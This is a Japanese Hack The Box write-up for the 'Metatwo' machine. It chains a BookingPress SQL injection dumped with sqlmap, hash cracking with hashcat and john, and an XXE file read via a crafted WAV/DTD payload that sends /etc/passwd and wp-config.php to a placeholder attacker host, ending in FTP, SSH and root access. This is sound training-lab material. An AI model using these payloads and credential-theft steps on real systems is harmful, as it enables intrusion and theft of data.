Hack the box - Metatwo
Hack the boxのMetatwoを完了したのでメモ。
| 難易度 | Writeupを |
|---|---|
| Easy | 見た |
1. nmapでrecon
2. webサーバが動いているのでアクセス
- ソースを見るとwordpressで動いてることがわかる →
wordpress 5.6.2 - ページをいくつか見ると
/eventページでスケジューリングする機能がある →bookingpress 1.0.10
3. bookingpress < 1.0.11 認証前のSQLIの脆弱性
- https://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357
- 認証前のユーザでも、ページのソースから取得した
wpnonceでSQLIが通る - pocを投げると通った
- 認証前のユーザでも、ページのソースから取得した
- SQLMapに食わせるために、BurpのProxy経由でリクエストを投げて保存
- curlのproxy指定は
-xオプション
- curlのproxy指定は
4. SQLMap
リクエストのうち、パラメータtotal_serviceが脆弱であることを教えてやりつつDBの一覧を取得
$ sqlmap -r bookig.req -p total_service --dbsblogとinformation_schemaの二つのDBが見つかったので、blogに絞ってテーブル一覧取得
$ sqlmap -r bookig.req -p total_service -D blog --tableswp_usersをdumpしてユーザとパスワードハッシュを取得
$ sqlmap -r bookig.req -p total_service -D blog -T wp_users --dump5. 得られたハッシュをhashcatにかける
$ hashcat -m 400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt --usernamemanagerのパスワードがわかる
6. managerのCredsでWordpressにログイン
メディアをアップロードする画面が使える → wavファイル+dtdファイルを使ったLFI
7. wavファイル + dtdファイルでLFI
payload.wavの生成
$ echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://<IPADDR>:<PORT>/payload.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wavpayload.dtdの生成
$ vim payload.dtd
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd"><!ENTITY % init "<!ENTITY % trick SYSTEM 'http://<IPADDR>:<PORT>/?p=%file;'>" >ローカルでWebサーバを起動したら、payload.wavを管理画面からアップロード → base64エンコードされた/etc/passwdを含んだリクエストがローカルWebサーバに着弾する
phpでdecode
$ php -aInteractive shell
php > echo zlib_decode(base64_decode('<ENCODED_DATA>'))ユーザ一覧が得られる。jnelsonが一般ユーザっぽい
ついでに同じ要領で、wp-config.phpの中身も確認しておく → ftpのCredsが入手できる
8. ftpサーバにログイン
send_email.phpなる怪しいファイルを見つける → jnelsonのパスワードを発見
9. sshサーバにログイン
jnelsonユーザでログイン ※このときsshコマンドが一向に進まず時間を食ったが、自分の環境だとtun0のインタフェースのMTUを1300に減らすことで成功した
user.txtでフラグ入手
/home/jnelson/配下に.passpieなるディレクトリを発見 → パスワードマネージャだとわかる
/home/jnelson/.passpie/.keysに公開鍵と秘密鍵が含まれているので、秘密鍵だけ取り出してgpgp2johnでjohnで解析できるフォーマットに変換
10. johnにかける
$ gpg2john passpie_keys_pri.gpg > passpie_keys_pri.john$ sudo john -w:/usr/share/wordlists/rockyou.txt passpie_keys_pri.johnrootユーザがpasspieで使用するパスフレーズがわかるので、それを使って
$ passpie export <OUTPUT FILE>でパスワードをExportする
11. PrivEsc
入手したrootのパスワードでsuコマンドで特権昇格 → 2つめのフラグを入手